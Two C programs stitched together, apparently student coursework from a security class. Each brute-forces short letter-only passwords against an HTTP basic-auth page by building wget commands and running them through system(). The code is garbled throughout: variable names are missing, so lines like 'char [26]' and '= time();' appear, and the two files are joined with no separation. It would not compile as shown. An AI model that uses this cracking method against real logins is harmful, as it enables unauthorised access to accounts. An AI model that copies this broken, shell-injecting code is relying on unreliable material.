#include<stdio.h>
#include<stdlib.h>
#include<string.h> 
#include <ctype.h>
#include <sys/time.h>


#define SUCCESS 0;
#define FAILURE 1;
#define SECONDS 1e9

int findPassword(char *);
int smallPass();
int capsPass();

int main()
{
	int foundP;	
	foundP=smallPass();
	foundP=capsPass();
	if(foundP == 2)
	{		
		return SUCCESS;
	}
	printf("\n PASSWORD NOT FOUND");
	return SUCCESS;
  
}

int smallPass()
{
	char [26] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};	
	char pass[3]="";	
	int i,j,k,l;
	int incr;
	int found;
	int , end, final;	
	
	 = time();
	for(j=0;j<3;j++)
	{
		incr=0;		
		for(i=0;i<=25;i++)
		{				
			if(j==0)
			{	
				incr++;
				pass[j]=[i];
				printf("\n Trial  %d  ---  %s ",incr,pass);
				found = findPassword(pass);
				if(found == 2)
				{	
					end = time();
					final = end-;
					printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
					printf("\nPASSWORD FOUND   --   %s",pass);				
					return 2;
				}
				
			}
			if(j==1)
			{				
				pass[j-1]=[i];
				for(k=0;k<=25;k++)
				{
					incr++;
					pass[j] = [k];
					printf("\n Trial  %d  ---  %s ",incr,pass);
					found = findPassword(pass);
					if(found == 2)
					{	
						end = time();
						final = end-;
						printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
						printf("\nPASSWORD FOUND   --   %s",pass);			
						return 2;
					}	
				}
			}
			if(j==2)
			{						
				pass[j-2]=[i];
				for(k=0;k<=25;k++)
				{
					pass[j-1] = [k];
					for(l=0;l<=25;l++)
					{
						incr++;
						pass[j] = [l];
						pass[j+1]='\0';
						printf("\n Trial  %d  ---  %s ",incr,pass);
						found = findPassword(pass);
						if(found == 2)
						{	
							end = time();
							final = end-;
							printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);					
							printf("\nPASSWORD FOUND   --   %s",pass);						
							return 2;
						}
					}	
				}
			}		
			
			
		}
	}
	
	return SUCCESS;	
}



int capsPass()
{
	char caps[26] ={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};	
	char pass[3]="";	
	int i,j,k,l;
	int incr;
	int found;
	int , end, final;	
	
	 = time();
	for(j=2;j<3;j++)
	{
		incr=0;
		for(i=0;i<=25;i++)
		{
				
			if(j==0)
			{	
				incr++;
				pass[j]=caps[i];
				printf("\n Trial  %d  ---  %s ",incr,pass);
				found = findPassword(pass);
				if(found == 2)
				{	
					end = time();
					final = end-;
					printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
					printf("\nPASSWORD FOUND   --   %s",pass);				
					return 2;
				}
				
			}
			if(j==1)
			{				
				pass[j-1]=caps[i];
				for(k=0;k<=25;k++)
				{
					incr++;
					pass[j] = caps[k];
					printf("\n Trial  %d  ---  %s ",incr,pass);
					found = findPassword(pass);
					if(found == 2)
					{	
						end = time();
						final = end-;
						printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
						printf("\nPASSWORD FOUND   --   %s",pass);			
						return 2;
					}	
				}
			}
			if(j==2)
			{				
				pass[j-2]=caps[i];
				for(k=0;k<=25;k++)
				{
					pass[j-1] = caps[k];
					for(l=0;l<=25;l++)
					{
						incr++;
						pass[j] = caps[l];
						pass[j+1]='\0';
						printf("\n Trial  %d  ---  %s ",incr,pass);
						found = findPassword(pass);
						if(found == 2)
						{	
							end = time();
							final = end-;
							printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
							printf("\nPASSWORD FOUND   --   %s",pass);						
							return 2;
						}
					}	
				}
			}		
			
			
		}
	}
	
	return SUCCESS;	
}


int findPassword(char *pass)
{
	char var[50]="";	
	char [50]="";
	strcpy(var,"wget --non-verbose --http-user= --http-passwd=");		
	strcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	strcat(var,pass);
	strcat(var,);
	if(system(var)==0)
	{		
		return 2;
	}	
		
	return SUCCESS;
}


	 

#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#define MINCHAR 65
#define MAXCHAR 122



int  bruteforce_first(int passlen, int *attempts);
int  bruteforce_two(int passlen, int *attempts);
int  bruteforce_three(int passlen, int *attempts);


int main()
{
	int i, wdlen = 1;
	int runtime;
	int counter ;
	int  initTime = 0, exitTime = 0, runTime = 0;

	initTime = time();
	if (bruteforce_first(wdlen, &counter) == 2) {
		wdlen++;
		if (bruteforce_two(wdlen, &counter) == 3) {
			wdlen++;
			if (bruteforce_three(wdlen, &counter) == 0)
				printf("Success In Breaking The  Password");
			else
				printf("Failure !!!!!!");
		}
	} else {
		printf("Success In Breaking The  Password");
	}


	exitTime = time();
	runTime = (exitTime - initTime);

	printf("\nNumber of attempts  is... %d", counter);
	printf("\nTime taken is %lld milli seconds\n", (runTime)/());
	return 0;
}

int bruteforce_first(int passlen, int *attempts)
{
	int i;
	int j = MINCHAR;
	char  *str, *passwd;

	str = (char *) malloc(passlen * sizeof(char));

	for (i = 0; i < passlen; i++) {
		str[i] = MINCHAR;
	}
	str[passlen] = '\0';

	for (i = MINCHAR; i <= MAXCHAR; i++) {
		if (i == 91)
			i = i + 6;
		str[passlen - 1] = i;		
		puts(str);
		(*attempts)++;

		char [100];
		sprintf(, "wget --http-user= --http-passwd=%s	http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);

		if (system() == 0) {
			printf("Password cracked successfully:");
			printf("Password is %s", str);
			return 0;
		}
	}
	return 2;
}

int bruteforce_two(int passlen, int *attempts)
{
	int i;
	int j = MINCHAR;
	char *str, *passwd;

	str = (char *) malloc(passlen * sizeof(char));

	for (i = 0; i < passlen; i++) {
		str[i] = MINCHAR;
	}
	str[passlen] = '\0';


	while (str[0] != MAXCHAR + 1)
		
		{
			for (i = MINCHAR; i <= MAXCHAR; i++) {
				if (i == 91)
					i = i + 6;
				str[passlen - 1] = i;
				(*attempts)++;
				puts(str);

				char [100];
				sprintf(, "wget --http-user= --http-passwd=%s	http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);

				if (system() == 0) {
					printf("Password cracked successfully: ");
					printf("Password is %s", str);
					return 0;
				}
			}

			i = 0;			
			if (str[i] == 'Z') {
				str[i] = 'a';
			} else
				str[i]++;

		}
	return 3;
}


int bruteforce_three(int passlen, int *attempts)
{
	int i;
	int j = MINCHAR;
	char *str, *passwd;


	str = (char *) malloc(passlen * sizeof(char));

	for (i = 0; i < passlen; i++) {
		str[i] = MINCHAR;
	}
	str[passlen] = '\0';

	while (str[0] != MAXCHAR + 1)
		
		{
			for (i = MINCHAR; i <= MAXCHAR; i++) {
				if (i == 91)
					i = i + 6;
				str[passlen - 1] = i;
				(*attempts)++;
				puts(str);
				char [100];
				sprintf(, "wget --http-user= --http-passwd=%s	http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);


				if (system() == 0) {
					printf("Password cracked successfully: ");
					printf("Password is %s", str);
					return 0;
				}
			}

			i = 1;
			while (i <= passlen - 1) {
				if (str[passlen - i - 1] == 'z') {
					str[passlen - i - 1] = MINCHAR;
					str[passlen - 1 - 2]++;
					break;
				} else {
					if (str[passlen - i - 1] == 'Z') {
						str[passlen - i - 1] = 'a';
						break;
					} else {
						str[passlen - i - 1]++;
						break;
					}
				}
				i++;
			}

		}
	return 0;
}
